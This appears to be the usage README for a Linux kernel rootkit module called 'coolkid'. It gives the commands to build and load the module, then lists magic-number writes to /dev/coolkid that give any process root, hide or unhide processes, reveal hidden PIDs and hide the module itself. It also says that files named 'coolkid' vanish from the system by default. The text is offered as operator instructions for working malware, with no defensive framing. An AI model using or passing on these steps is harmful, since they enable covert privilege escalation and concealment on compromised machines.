make
sudo insmod coolkid.ko
Linux version > 4.17, otherwise it will fail
echo -n "1000000000 $PID" > /dev/coolkid will give root permissions to the process
echo -n "1000000001" > /dev/coolkid then cat /dev/coolkid will list you all the processes running
echo -n "1000000002" > /dev/coolkid then cat /dev/coolkid will gives you the pids of invisible processes
echo -n "1000000003 $PID" > /dev/coolkid will hide/unhide the process
echo -n "1000000004" > /dev/coolkid will hide the module
by default every file/repo starting by coolkid will disapear on the system